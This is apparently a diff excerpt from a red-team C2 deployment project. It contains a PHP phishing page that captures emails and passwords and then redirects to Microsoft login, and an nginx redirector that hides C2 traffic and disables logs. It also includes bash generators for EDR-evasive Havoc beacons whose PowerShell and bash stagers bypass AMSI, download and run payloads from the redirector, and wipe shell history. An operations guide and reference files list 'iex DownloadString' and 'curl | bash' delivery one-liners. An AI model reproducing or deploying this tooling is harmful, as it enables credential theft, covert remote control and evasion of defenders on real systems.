when: provider == "aws"
delegate_to: localhost
- name: Allow SSH from C2 to redirector (UFW)
ufw:
rule: allow
port: 22
src: "{{ c2_ip }}"
proto: tcp
when: provider != "aws" and not is_aws_provider and ufw_available | default(false) | bool
- name: Allow SSH from C2 to redirector (iptables fallback)
shell: |
iptables -A INPUT -p tcp --dport 22 -s {{ c2_ip }} -j ACCEPT
when: provider != "aws" and not is_aws_provider and not (ufw_available | default(false) | bool)
when: server_role == 'redirector' and c2_ip is defined and redirector_ip is defined
@@ -0,0 +1,17 @@
================================================================
C2ingRed Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_c2.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Setting up the redirector (if desired)
- Displaying DNS configuration recommendations
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
+27
View File
@@ -0,0 +1,27 @@
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = [
'timestamp' => date('Y-m-d H:i:s'),
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'email' => $_POST['email'] ?? '',
'password' => $_POST['password'] ?? '',
'headers' => getallheaders()
];
$log_file = '/var/private/creds/creds.enc';
$encrypted = openssl_encrypt(
json_encode($data),
'AES-256-CBC',
'{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
0,
str_repeat("\0", 16)
);
file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
header('Location: https://login.microsoftonline.com/common/oauth2/);
exit;
}
?>
+80
View File
@@ -0,0 +1,80 @@
server {
listen 80;
listen [::]:80;
server_name {{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ domain }}/privkey.pem;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Special URI patterns for C2 traffic
# These will redirect to the actual C2 server
# Sliver HTTP C2 channel
location /ajax/ {
proxy_pass http://{{ c2_host }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Static resources that actually redirect to C2
location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
proxy_pass http://{{ c2_host }}:8888;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Additional security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block
access_log off;
error_log /dev/null crit;
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,456 @@
#!/bin/bash
# EDR-evasive beacon generator for Havoc C2
# Every deployment produces completely unique payloads
# Configuration (automatically populated by Ansible)
HAVOC_DIR="/root/Tools/Havoc"
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="${type}_profile_$(random_string 8).json"
echo "[+] Creating evasive $type profile..."
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo "$profile_name"
}
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file
create_manifest "$payload_info"
# Create reference file
create_reference "$payload_info"
echo "[+] EDR-evasive beacon generation complete!"
@@ -0,0 +1,260 @@
#!/bin/bash
# EDR-evasive payload generator for Havoc C2
# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
+79
View File
@@ -0,0 +1,79 @@
Teamserver {
Host = "0.0.0.0"
Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "{{ havoc_admin_user | default('admin') }}" {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
user "{{ operator.name }}" {
Password = "{{ operator.password }}"
}
{% endfor %}
{% endif %}
}
Listeners {
Http {
Name = "https"
Hosts = [
"{{ redirector_subdomain }}.{{ domain }}"
]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = {{ havoc_https_port | default(9443) }}
PortConn = {{ havoc_https_port | default(9443) }}
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = [
"Accept: */*",
"Accept-Language: en-US,en;q=0.9"
]
Uris = [
"/api/v2",
"/content",
"/static/css",
"/wp-content/plugins"
]
Response {
Headers = [
"Content-Type: application/json",
"Cache-Control: no-store, private",
"X-Content-Type-Options: nosniff"
]
}
Secure = true
Cert {
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
}
}
}
Demon {
Sleep = {{ havoc_sleep | default(5) }}
Jitter = {{ havoc_jitter | default(30) }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
{% endif %}
}
}
+112
View File
@@ -0,0 +1,112 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/Havoc/data/profiles/
TROUBLESHOOTING
--------------
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
+122
View File
@@ -0,0 +1,122 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
